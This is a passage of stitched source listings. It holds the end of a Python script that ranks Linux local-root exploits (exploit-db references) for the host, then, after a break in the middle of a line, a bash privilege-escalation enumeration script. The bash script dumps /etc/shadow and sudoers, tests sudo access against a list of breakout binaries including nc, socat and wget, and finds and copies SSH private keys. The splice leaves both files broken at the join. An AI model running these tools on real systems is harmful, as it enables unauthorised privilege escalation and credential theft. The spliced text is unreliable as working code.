"pkg"], "val": "udev"}}, 457 | "2.6 UDEV < 141 Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8572", "lang": "c", "keywords": {"loc": ["proc", "pkg"], "val": "udev"}}, 458 | "2.6.x ptrace_attach Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8673", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 459 | "2.6.29 ptrace_attach() Local Root Race Condition Exploit": {"minver": "2.6.29", "maxver": "2.6.29", "exploitdb": "8678", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 460 | "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit": {"minver": "0", "maxver": "2.6.28.3", "exploitdb": "9083", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 461 | "Test Kernel Local Root Exploit 0day": {"minver": "2.6.18", "maxver": "2.6.30", "exploitdb": "9191", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 462 | "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)": {"minver": "2.6.9", "maxver": "2.6.30", "exploitdb": "9208", "lang": "c", "keywords": {"loc": ["pkg"], "val": "pulse"}}, 463 | "2.x sock_sendpage() Local Ring0 Root Exploit": {"minver": "2", "maxver": "2.99", "exploitdb": "9435", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 464 | "2.x sock_sendpage() Local Root Exploit 2": {"minver": "2", "maxver": "2.99", "exploitdb": "9436", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 465 | "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9479", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 466 | "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit": {"minver": "2.6", "maxver": "2.6.19", "exploitdb": "9542", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 467 | "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9545", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 468 | "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9574", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 469 | "< 2.6.19 udp_sendmsg Local Root Exploit": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9575", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 470 | "2.4/2.6 sock_sendpage() Local Root Exploit [2]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9598", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 471 | "2.4/2.6 sock_sendpage() Local Root Exploit [3]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9641", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 472 | "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation": {"minver": "2.4.1", "maxver": "2.6.32", "exploitdb": "9844", "lang": "python", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 473 | "'pipe.c' Local Privilege Escalation Vulnerability": {"minver": "2.4.1", "maxver": "2.6.32", "exploitdb": "10018", "lang": "sh", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 474 | "2.6.18-20 2009 Local Root Exploit": {"minver": "2.6.18", "maxver": "2.6.20", "exploitdb": "10613", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 475 | "Apache Spamassassin Milter Plugin Remote Root Command Execution": {"minver": "0", "maxver": "99", "exploitdb": "11662", "lang": "sh", "keywords": {"loc": ["proc"], "val": "spamass-milter"}}, 476 | "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation": {"minver": "0", "maxver": "2.6.34", "exploitdb": "12130", "lang": "python", "keywords": {"loc": ["mnt"], "val": "reiser"}}, 477 | "Ubuntu PAM MOTD local root": {"minver": "7", "maxver": "10.04", "exploitdb": "14339", "lang": "sh", "keywords": {"loc": ["os"], "val": "ubuntu"}}, 478 | "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36", "exploitdb": "14814", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 479 | "Kernel ia32syscall Emulation Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "15023", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 480 | "Linux RDS Protocol Local Privilege Escalation": {"minver": "0", "maxver": "2.6.36", "exploitdb": "15285", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 481 | "<= 2.6.37 Local Privilege Escalation": {"minver": "0", "maxver": "2.6.37", "exploitdb": "15704", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 482 | "< 2.6.37-rc2 ACPI custom_method Privilege Escalation": {"minver": "0", "maxver": "2.6.37", "exploitdb": "15774", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 483 | "CAP_SYS_ADMIN to root Exploit": {"minver": "0", "maxver": "99", "exploitdb": "15916", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 484 | "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)": {"minver": "0", "maxver": "99", "exploitdb": "15944", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 485 | "< 2.6.36.2 Econet Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36.2", "exploitdb": "17787", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 486 | "Sendpage Local Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "19933", "lang": "ruby", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 487 | "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability": {"minver": "2.4.18", "maxver": "2.4.19", "exploitdb": "21598", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 488 | "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)": {"minver": "2.2", "maxver": "2.4.99", "exploitdb": "22362", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 489 | "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)": {"minver": "2.2", "maxver": "2.4.99", "exploitdb": "22363", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 490 | "Samba 2.2.8 Share Local Privilege Elevation Vulnerability": {"minver": "2.2.8", "maxver": "2.2.8", "exploitdb": "23674", "lang": "c", "keywords": {"loc": ["proc", "pkg"], "val": "samba"}}, 491 | "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability": {"minver": "0", "maxver": "99", "exploitdb": "25307", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 492 | "open-time Capability file_ns_capable() Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "25450", "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, 493 | } 494 | 495 | # variable declaration 496 | os = sysinfo["OS"]["results"][0] 497 | version = sysinfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] 498 | langs = devtools["TOOLS"]["results"] 499 | procs = pkgsandprocs["PROCS"]["results"] 500 | kernel = str(sysinfo["KERNEL"]["results"][0]) 501 | mount = driveinfo["MOUNT"]["results"] 502 | # pkgs = pkgsandprocs["PKGS"]["results"] # TODO currently not using packages for sploit appicability but may in future 503 | 504 | # lists to hold ranked, applicable sploits 505 | # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks 506 | # all applicable exploits should be checked and this function could probably use some improvement 507 | avgprob = [] 508 | highprob = [] 509 | 510 | for sploit in sploits: 511 | lang = 0 # use to rank applicability of sploits 512 | keyword = sploits[sploit]["keywords"]["val"] 513 | sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] 514 | # first check for kernell applicability 515 | if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): 516 | # next check language applicability 517 | if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): 518 | lang = 1 # language found, increase applicability score 519 | elif sploits[sploit]["lang"] == "sh": 520 | lang = 1 # language found, increase applicability score 521 | elif sploits[sploit]["lang"] in str(langs): 522 | lang = 1 # language found, increase applicability score 523 | if lang == 0: 524 | sploitout = sploitout + "**" # added mark if language not detected on system 525 | # next check keyword matches to determine if some sploits have a higher probability of success 526 | for loc in sploits[sploit]["keywords"]["loc"]: 527 | if loc == "proc": 528 | for proc in procs: 529 | if keyword in proc: 530 | highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability 531 | break 532 | elif loc == "os": 533 | if (keyword in os) or (keyword in kernel): 534 | highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability 535 | break 536 | elif loc == "mnt": 537 | if keyword in mount: 538 | highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability 539 | break 540 | else: 541 | avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version 542 | 543 | print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" 544 | print 545 | 546 | print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" 547 | for exploit in highprob: 548 | print " - " + exploit 549 | print 550 | 551 | print " The following exploits are applicable to this kernel version and should be investigated as well" 552 | for exploit in avgprob: 553 | print " - " + exploit 554 | 555 | 556 | if __name__ == '__main__': 557 | 558 | try: 559 | import argparse 560 | import sys 561 | 562 | # Parse out all of the command line arguments 563 | parser = argparse.ArgumentParser(description='Try to gather system information and find likely exploits') 564 | parser.add_argument('-s', '--searches', help='Skip time consumming or resource intensive searches', required=False, action='store_true') 565 | parser.add_argument('-w', '--write', help='Wether to write a log file, can be used with -0 to specify name/location ', required=False, action='store_true') 566 | parser.add_argument('-o', '--outfile', help='The file to write results (needs to be writable for current user)', required=False, default='linuxprivchecker.log') 567 | args = parser.parse_args() 568 | 569 | if args.searches: 570 | processsearches = False 571 | else: 572 | processsearches = True 573 | 574 | # if write is requeted, create a custom logger to send stout to log file as well 575 | if args.write: 576 | # import sys for io redirection 577 | import sys 578 | 579 | class Logger(object): 580 | def __init__(self): 581 | self.terminal = sys.stdout 582 | self.log = open(args.outfile, 'a') 583 | 584 | def write(self, message): 585 | self.terminal.write(message) 586 | self.log.write(message) 587 | sys.stdout = Logger() 588 | 589 | except ImportError: 590 | print 'Arguments could not be processed, defaulting to print everything' 591 | processsearches = True 592 | 593 | # title / formatting 594 | bigline = "=======================================================================================" 595 | print bigline 596 | print """ 597 | __ _ ____ _ ________ __ 598 | / / (_)___ __ ___ __/ __ \_____(_) __/ ____/ /_ ___ _____/ /_____ _____ 599 | / / / / __ \/ / / / |/_/ /_/ / ___/ / | / / / / __ \/ _ \/ ___/ //_/ _ \/ ___/ 600 | / /___/ / / / / /_/ /> /dev/null 64 | format=$export/LinEnum-export-`date +"%d-%m-%y"` 65 | mkdir $format 2>/dev/null 66 | fi 67 | 68 | if [ "$sudopass" ]; then 69 | echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m" 70 | read -s userpassword 71 | echo 72 | fi 73 | 74 | who=`whoami` 2>/dev/null 75 | echo -e "\n" 76 | 77 | echo -e "\e[00;33mScan started at:"; date 78 | echo -e "\e[00m\n" 79 | } 80 | 81 | # useful binaries (thanks to https://gtfobins.github.io/) 82 | binarylist='aria2c\|arp\|ash\|awk\|base64\|bash\|busybox\|cat\|chmod\|chown\|cp\|csh\|curl\|cut\|dash\|date\|dd\|diff\|dmsetup\|docker\|ed\|emacs\|env\|expand\|expect\|file\|find\|flock\|fmt\|fold\|ftp\|gawk\|gdb\|gimp\|git\|grep\|head\|ht\|iftop\|ionice\|ip$\|irb\|jjs\|jq\|jrunscript\|ksh\|ld.so\|ldconfig\|less\|logsave\|lua\|make\|man\|mawk\|more\|mv\|mysql\|nano\|nawk\|nc\|netcat\|nice\|nl\|nmap\|node\|od\|openssl\|perl\|pg\|php\|pic\|pico\|python\|readelf\|rlwrap\|rpm\|rpmquery\|rsync\|ruby\|run-parts\|rvim\|scp\|script\|sed\|setarch\|sftp\|sh\|shuf\|socat\|sort\|sqlite3\|ssh$\|start-stop-daemon\|stdbuf\|strace\|systemctl\|tail\|tar\|taskset\|tclsh\|tee\|telnet\|tftp\|time\|timeout\|ul\|unexpand\|uniq\|unshare\|vi\|vim\|watch\|wget\|wish\|xargs\|xxd\|zip\|zsh' 83 | 84 | system_info() 85 | { 86 | echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" 87 | 88 | #basic kernel info 89 | unameinfo=`uname -a 2>/dev/null` 90 | if [ "$unameinfo" ]; then 91 | echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" 92 | echo -e "\n" 93 | fi 94 | 95 | procver=`cat /proc/version 2>/dev/null` 96 | if [ "$procver" ]; then 97 | echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" 98 | echo -e "\n" 99 | fi 100 | 101 | #search all *-release files for version info 102 | release=`cat /etc/*-release 2>/dev/null` 103 | if [ "$release" ]; then 104 | echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" 105 | echo -e "\n" 106 | fi 107 | 108 | #target hostname info 109 | hostnamed=`hostname 2>/dev/null` 110 | if [ "$hostnamed" ]; then 111 | echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" 112 | echo -e "\n" 113 | fi 114 | } 115 | 116 | user_info() 117 | { 118 | echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" 119 | 120 | #current user details 121 | currusr=`id 2>/dev/null` 122 | if [ "$currusr" ]; then 123 | echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" 124 | echo -e "\n" 125 | fi 126 | 127 | #last logged on user information 128 | lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` 129 | if [ "$lastlogedonusrs" ]; then 130 | echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" 131 | echo -e "\n" 132 | fi 133 | 134 | #who else is logged on 135 | loggedonusrs=`w 2>/dev/null` 136 | if [ "$loggedonusrs" ]; then 137 | echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" 138 | echo -e "\n" 139 | fi 140 | 141 | #lists all id's and respective group(s) 142 | grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null` 143 | if [ "$grpinfo" ]; then 144 | echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo" 145 | echo -e "\n" 146 | fi 147 | 148 | #added by phackt - look for adm group (thanks patrick) 149 | adm_users=$(echo -e "$grpinfo" | grep "(adm)") 150 | if [[ ! -z $adm_users ]]; 151 | then 152 | echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users" 153 | echo -e "\n" 154 | fi 155 | 156 | #checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) 157 | hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` 158 | if [ "$hashesinpasswd" ]; then 159 | echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" 160 | echo -e "\n" 161 | fi 162 | 163 | #contents of /etc/passwd 164 | readpasswd=`cat /etc/passwd 2>/dev/null` 165 | if [ "$readpasswd" ]; then 166 | echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" 167 | echo -e "\n" 168 | fi 169 | 170 | if [ "$export" ] && [ "$readpasswd" ]; then 171 | mkdir $format/etc-export/ 2>/dev/null 172 | cp /etc/passwd $format/etc-export/passwd 2>/dev/null 173 | fi 174 | 175 | #checks to see if the shadow file can be read 176 | readshadow=`cat /etc/shadow 2>/dev/null` 177 | if [ "$readshadow" ]; then 178 | echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" 179 | echo -e "\n" 180 | fi 181 | 182 | if [ "$export" ] && [ "$readshadow" ]; then 183 | mkdir $format/etc-export/ 2>/dev/null 184 | cp /etc/shadow $format/etc-export/shadow 2>/dev/null 185 | fi 186 | 187 | #checks to see if /etc/master.passwd can be read - BSD 'shadow' variant 188 | readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` 189 | if [ "$readmasterpasswd" ]; then 190 | echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" 191 | echo -e "\n" 192 | fi 193 | 194 | if [ "$export" ] && [ "$readmasterpasswd" ]; then 195 | mkdir $format/etc-export/ 2>/dev/null 196 | cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null 197 | fi 198 | 199 | #all root accounts (uid 0) 200 | superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null` 201 | if [ "$superman" ]; then 202 | echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman" 203 | echo -e "\n" 204 | fi 205 | 206 | #pull out vital sudoers info 207 | sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null` 208 | if [ "$sudoers" ]; then 209 | echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers" 210 | echo -e "\n" 211 | fi 212 | 213 | if [ "$export" ] && [ "$sudoers" ]; then 214 | mkdir $format/etc-export/ 2>/dev/null 215 | cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null 216 | fi 217 | 218 | #can we sudo without supplying a password 219 | sudoperms=`echo '' | sudo -S -l -k 2>/dev/null` 220 | if [ "$sudoperms" ]; then 221 | echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" 222 | echo -e "\n" 223 | fi 224 | 225 | #check sudo perms - authenticated 226 | if [ "$sudopass" ]; then 227 | if [ "$sudoperms" ]; then 228 | : 229 | else 230 | sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null` 231 | if [ "$sudoauth" ]; then 232 | echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" 233 | echo -e "\n" 234 | fi 235 | fi 236 | fi 237 | 238 | ##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated 239 | if [ "$sudopass" ]; then 240 | if [ "$sudoperms" ]; then 241 | : 242 | else 243 | sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` 244 | if [ "$sudopermscheck" ]; then 245 | echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" 246 | echo -e "\n" 247 | fi 248 | fi 249 | fi 250 | 251 | #known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) 252 | sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` 253 | if [ "$sudopwnage" ]; then 254 | echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" 255 | echo -e "\n" 256 | fi 257 | 258 | #who has sudoed in the past 259 | whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null` 260 | if [ "$whohasbeensudo" ]; then 261 | echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" 262 | echo -e "\n" 263 | fi 264 | 265 | #checks to see if roots home directory is accessible 266 | rthmdir=`ls -ahl /root/ 2>/dev/null` 267 | if [ "$rthmdir" ]; then 268 | echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" 269 | echo -e "\n" 270 | fi 271 | 272 | #displays /home directory permissions - check if any are lax 273 | homedirperms=`ls -ahl /home/ 2>/dev/null` 274 | if [ "$homedirperms" ]; then 275 | echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" 276 | echo -e "\n" 277 | fi 278 | 279 | #looks for files we can write to that don't belong to us 280 | if [ "$thorough" = "1" ]; then 281 | grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 282 | if [ "$grfilesall" ]; then 283 | echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" 284 | echo -e "\n" 285 | fi 286 | fi 287 | 288 | #looks for files that belong to us 289 | if [ "$thorough" = "1" ]; then 290 | ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 291 | if [ "$ourfilesall" ]; then 292 | echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall" 293 | echo -e "\n" 294 | fi 295 | fi 296 | 297 | #looks for hidden files 298 | if [ "$thorough" = "1" ]; then 299 | hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 300 | if [ "$hiddenfiles" ]; then 301 | echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles" 302 | echo -e "\n" 303 | fi 304 | fi 305 | 306 | #looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch 307 | if [ "$thorough" = "1" ]; then 308 | wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` 309 | if [ "$wrfileshm" ]; then 310 | echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" 311 | echo -e "\n" 312 | fi 313 | fi 314 | 315 | if [ "$thorough" = "1" ]; then 316 | if [ "$export" ] && [ "$wrfileshm" ]; then 317 | mkdir $format/wr-files/ 2>/dev/null 318 | for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null 319 | fi 320 | fi 321 | 322 | #lists current user's home directory contents 323 | if [ "$thorough" = "1" ]; then 324 | homedircontents=`ls -ahl ~ 2>/dev/null` 325 | if [ "$homedircontents" ] ; then 326 | echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" 327 | echo -e "\n" 328 | fi 329 | fi 330 | 331 | #checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch 332 | if [ "$thorough" = "1" ]; then 333 | sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` 334 | if [ "$sshfiles" ]; then 335 | echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" 336 | echo -e "\n" 337 | fi 338 | fi 339 | 340 | if [ "$thorough" = "1" ]; then 341 | if [ "$export" ] && [ "$sshfiles" ]; then 342 | mkdir $format/ssh-files/ 2>/dev/null 343 | for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null 344 | fi 345 | fi 346 | 347 | #is root permitted to login via ssh 348 | sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` 349 | if [ "$sshrootlogin" = "yes" ]; then 350 | echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" 351 | echo -e "\n" 352 | fi 353 | } 354 | 355 | environmental_info() 356 | { 357 | echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" 358 | 359 | #env information 360 | envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` 361 | if [ "$envinfo" ]; then 362 | echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" 363 | echo -e "\n" 364 | fi 365 | 366 | #check if selinux is enabled 367 | sestatus=`sestatus 2>/dev/null` 368 | if [ "$sestatus" ]; then 369 | echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus" 370 | echo -e "\n" 371 | fi 372 | 373 | #phackt 374 | 375 | #current path configuration 376 | pathinfo=`echo $PATH 2>/dev/null` 377 | if [ "$pathinfo" ]; then 378 | pathswriteable=`ls -ld $(echo $PATH | tr ":" " ")` 379 | echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 380 | echo -e "$pathswriteable" 381 | echo -e "\n" 382 | fi 383 | 384 | #lists available shells 385 | shellinfo=`cat /etc/shells 2>/dev/null` 386 | if [ "$shellinfo" ]; then 387 | echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" 388 | echo -e "\n" 389 | fi 390 | 391 | #current umask value with both octal and symbolic output 392 | umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null` 393 | if [ "$umaskvalue" ]; then 394 | echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" 395 | echo -e "\n" 396 | fi 397 | 398 | #umask value as in /etc/login.defs 399 | umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null` 400 | if [ "$umaskdef" ]; then 401 | echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" 402 | echo -e "\n" 403 | fi 404 | 405 | #password policy information as stored in /etc/login.defs 406 | logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null` 407 | if [ "$logindefs" ]; then 408 | echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" 409 | echo -e "\n" 410 | fi 411 | 412 | if [ "$export" ] && [ "$logindefs" ]; then 413 | mkdir $format/etc-export/ 2>/dev/null 414 | cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null 415 | fi 416 | } 417 | 418 | job_info() 419 | { 420 | echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" 421 | 422 | #are there any cron jobs configured 423 | cronjobs=`ls -la /etc/cron* 2>/dev/null` 424 | if [ "$cronjobs" ]; then 425 | echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" 426 | echo -e "\n" 427 | fi 428 | 429 | #can we manipulate these jobs in any way 430 | cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 431 | if [ "$cronjobwwperms" ]; then 432 | echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" 433 | echo -e "\n" 434 | fi 435 | 436 | #contab contents 437 | crontabvalue=`cat /etc/crontab 2>/dev/null` 438 | if [ "$crontabvalue" ]; then 439 | echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" 440 | echo -e "\n" 441 | fi 442 | 443 | crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` 444 | if [ "$crontabvar" ]; then 445 | echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" 446 | echo -e "\n" 447 | fi 448 | 449 | anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` 450 | if [ "$anacronjobs" ]; then 451 | echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" 452 | echo -e "\n" 453 | fi 454 | 455 | anacrontab=`ls -la /var/spool/anacron 2>/dev/null` 456 | if [ "$anacrontab" ]; then 457 | echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" 458 | echo -e "\n" 459 | fi 460 | 461 | #pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) 462 | cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null` 463 | if [ "$cronother" ]; then 464 | echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" 465 | echo -e "\n" 466 | fi 467 | 468 | # list systemd timers 469 | if [ "$thorough" = "1" ]; then 470 | # include inactive timers in thorough mode 471 | systemdtimers="$(systemctl list-timers --all 2>/dev/null)" 472 | info="" 473 | else 474 | systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)" 475 | # replace the info in the output with a hint towards thorough mode 476 | info="\e[2mEnable thorough tests to see inactive timers\e[00m" 477 | fi 478 | if [ "$systemdtimers" ]; then 479 | echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info" 480 | echo -e "\n" 481 | fi 482 | 483 | } 484 | 485 | networking_info() 486 | { 487 | echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" 488 | 489 | #nic information 490 | nicinfo=`/sbin/ifconfig -a 2>/dev/null` 491 | if [ "$nicinfo" ]; then 492 | echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" 493 | echo -e "\n" 494 | fi 495 | 496 | #nic information (using ip) 497 | nicinfoip=`/sbin/ip a 2>/dev/null` 498 | if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then 499 | echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" 500 | echo -e "\n" 501 | fi 502 | 503 | arpinfo=`arp -a 2>/dev/null` 504 | if [ "$arpinfo" ]; then 505 | echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" 506 | echo -e "\n" 507 | fi 508 | 509 | arpinfoip=`ip n 2>/dev/null` 510 | if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then 511 | echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" 512 | echo -e "\n" 513 | fi 514 | 515 | #dns settings 516 | nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null` 517 | if 